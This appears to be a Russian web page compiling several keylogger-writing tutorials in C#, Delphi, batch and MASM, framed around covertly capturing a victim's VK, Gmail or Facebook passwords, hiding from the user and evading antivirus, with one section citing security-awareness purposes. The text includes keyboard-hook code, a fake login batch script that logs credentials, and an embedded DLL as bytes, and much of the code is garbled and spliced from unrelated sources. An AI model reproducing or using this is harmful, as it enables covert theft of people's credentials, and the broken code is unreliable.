Как написать кейлоггер на C#
Хорошие кейлоггеры с большим функционалом и защитой от детекта антивирусов могут стоить многих денег. Но создание кейлоггера не такая уж сложная вещь, и при желании любой немного разбирающийся в программировании человек может самостоятельно написать свой собственный кейлоггер, который даже не будет палится антивирусами. В сегодняшней статье я покажу, как создать кейлоггер / клавиатурный шпион на C#.
Создание кейлоггера на C#
Не будем мудрить и ограничимся необходимым минимумом. Допустим, мы хотим заполучить пароль жертвы от ВК и есть возможность физического доступа к компьютеру. При этом:
Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.
Теория создания клавиатурного шпиона на C#
Когда вы нажимаете на кнопку, операционная система посылает уведомления тем приложениям, которые хотят об этом узнать. Поэтому самый простой метод перехватить нажатие на клавиатуре — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будут записываться в файл.
Написание кейлоггера на C#
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь пользователь не хочется беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляйте автоматически созданный файл Form1.cs со всеми потрохами и открывайте Program.cs.
Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.
Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если вы не хотите писать костыльный вариант, лучше пропустите этот раздел и сразу переходите к следующему.
Импортируем GetAsyncKeyState из user32.dll:
Клавиатурный шпион своими руками №4: то, что надо
while (1)
<
//Запускаем цикл.
hw=GetForegroundWindow();
GetWindowText(hw,st,128); // читаем
активное на данный момент окно.
char stt[128]=»_Здесь пишем заголвок нужного
нам окна_№1″;
sl=strlen(stt);
ll=0;
while (stt[ll]==st[ll])
//cравниваем
посимвольно строки
//это удобнее делать с той позиции, что будет
проверяться, вхордит ли нужная
//нам строка как часть в другую строку, можно
сделать подобие //широкого фильтра.
<
ll++;
>
if (ll==sl) <
halt; //прерываем процесс
>
//И так далее,
последовательно проверяются все окна из
списка. Если найдено
//хотя бы одно, дабы не рассматривать окна
далее, прерываем цикл.
>
Теперь нам нужно все время проверять,
остается ли данное окно активным.
char p2[128],p3[128]; //массивы
символов для заголвков окон.
Опять таки в циклe проверяем все окна:
HWND hwnd_child; //переменная
элемента окна
Далее следует процедура загрузки
библиотеки и описанный выше алгоритм
слежения за событием смены активного окна.
library key1;
uses Windows;
var
KHook: HHOOK; //переменная для
«ловушки»
function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824; //код
«клавиша нажата»
var
Simv: ShortString;
KL: array [0..8] of Char; //для
проверки раскладки клавы
FStruct: TOFSTRUCT;
F: TextFile; //переменная
файла для записи лога.
begin
// отсеиваем лишние
сообщения
if (lParam and KState) <> 0 then
begin
Result:=CallNextHookEx(KHook, code, wParam, lParam);
Exit;
end;
Simv:=chr(0); //обнуляем
переменную символа, читающегося с клавы.
// анализируем код
нажатой клавиши
case wParam of
// цифры
48..57: Simv:=Chr(wParam);
96: Simv:=’0′;
97: Simv:=’1′;
.
104: Simv:=’8′;
105: Simv:=’9′;
189,109: Simv:=’-‘;
110: Simv:=’.’;
111: Simv:=’/’;
end;
GetKeyboardLayoutName(KL); //
проверяем раскладку
if KL = ‘00000409’ then // если
латинская:
begin
case wParam of
219: Simv:='[‘;
221: Simv:=’]’;
186: Simv:=’;’;
222: Simv:='»‘;
188: Simv:=’,’;
190: Simv:=’.’;
191: Simv:=’/’;
65..90: Simv:=Chr(wParam);
end;
end;
end;
if KL = ‘00000419’ then // если
русская
begin
case wParam of
219: Simv:=’Х’;
221: Simv:=’Ъ’;
186: Simv:=’Ж’;
222: Simv:=’Э’;
188: Simv:=’Б’;
190: Simv:=’Ю’;
191: Simv:=’.’;
65: Simv:=’Ф’;
.
87: Simv:=’Ц’;
88: Simv:=’Ч’;
89: Simv:=’Н’;
90: Simv:=’Я’;
end;
//если символ не пустой(т.е.
если была нажата буквенно-цифровая клавиша)
//тогда пишем его в файл
if Simv<>» then
Write(F, Simv);
//закрываем файл
CloseFile(F);
// передаем сообщение
другим ловушкам в системе
Result:=CallNextHookEx(KHook, code, wParam, lParam);
end;
begin
//Установить ловушку
для перехвата сообщений о клавиатуры.
KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);
hINSTAGE=LoadLibrary(«key1.dll»);
Sleep(10000);
//ждать 10 секунд, за это
время юзер наберет пароль.
//время может быть увеличено в зависимости
от степени заторможенности юзера
// и его скрости печатанья на клаве ?
FreeLibrary(hINSTAGE);
Как сделать простого клавиатурного шпиона [ keylogger ] в блокноте
В этом материале вы узнаете как создать простой клавиатурный перехватчик, используя стандартный блокнот, который может зарегистрировать каждое нажатие клавиши.
Хакеры используют клавиатурные перехватчики, чтобы украсть конфиденциальные данные.
Клавиатурный шпион – опасный инструмент взламывания, который может работать в фоновом режиме, не позволяя пользователю заметить свое присутствие.
Есть много программного обеспечения кейлоггеров доступное онлайн.
Не используйте его, если оно не с открытым исходным кодом.
Хакеры используют клавиатурные шпионы, чтобы украсть конфиденциальные данные, такие как имена пользователей, пароли, детали банковского счета и информация о кредитной карте.
Давайте посмотрим, как мы можем сделать собственный кейлоггер без дополнительного ПО и знаний программирования.
1. Перейдем в директорию диска ( C: ) и найдем папку Logs. Если она не существует содаем ее.
2. Открываем блокнот и вставляем в него следующее содержимое:
@echo off
color a
title Login
cls
echo Please Enter Your Email Address And Password
echo.
echo.
cd “C:Logs”
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Log.txt
start >>Program Here
3. Переходим в меню и сохраняем файл. Назовем его Logs.bat и сохраним его в каталоге Logs на диске C:
4. Чтобы проверить его работу, запустим батник и введем куда либо пароль и логин.
5. Перейдем в папку Logs и найдем там файл log.txt.
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
Клавиатурный шпион своими руками
Написать клавиатурный шпион. Все не так
сложно как кажется, хотя и есть некоторые
грабли. Существует, как минимум, два пути
решения этой задачи :
Вот исходники дополнительной DLL
(«ks000.asm»):
В том же каталоге создадим файл «ks000.def»
с текстом:
LIBRARY ks000
EXPORTS DksKeyProc
и файл компиляции нашей DLL «1.bat»:
@echo off
if exist ks000.obj del ks000.obj
if exist ks000.dll del ks000.dll
\masm32\bin\ml /c /coff ks000.asm
\masm32\bin\Link /SUBSYSTEM:WINDOWS /DLL /DEF:ks000.def ks000.obj
dir ks000.*
pause
Вот исходники нашей проги («dks10.asm»):
.486
.model flat,stdcall
option casemap:none
include \masm32\include\winmm.inc
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\winmm.lib
; Процедура обработки оконных
сообщений
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
; Раздел констант и переменных
.DATA
DLLstr0 db 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0,
0, 0, 0, 0, 64, 0
DLLstr1 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0
DLLstr2 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 200, 0, 0, 0, 14, 31, 186, 14, 0, 180,
9, 205, 33, 184, 1, 0
DLLstr3 db 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109,
32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 0
DLLstr4 db 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100,
101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0
DLLstr5 db 0, 0, 0, 105, 150, 211, 219, 45, 247, 189, 136, 45, 247, 189, 136,
45, 247, 189, 136, 45, 247, 189, 136, 57, 247, 0
; SKIP
; Здесь находятся остальные
строки-константы кода нашей DLL
; SKIP
; SKIP
; Здесь находится код записи
остальных строк-констант в нашу DLL
; SKIP
В приведенной выше программе есть
недостатки: она не понимает разницу большие/маленькие
буквы (хотя является многоязычной) и не
отслеживает повторения («Shift», «Alt»,
«Ctrl» и т.п.). Все это можно дописать в
процедуре обработки. На сях или delphi это
делается элементарно.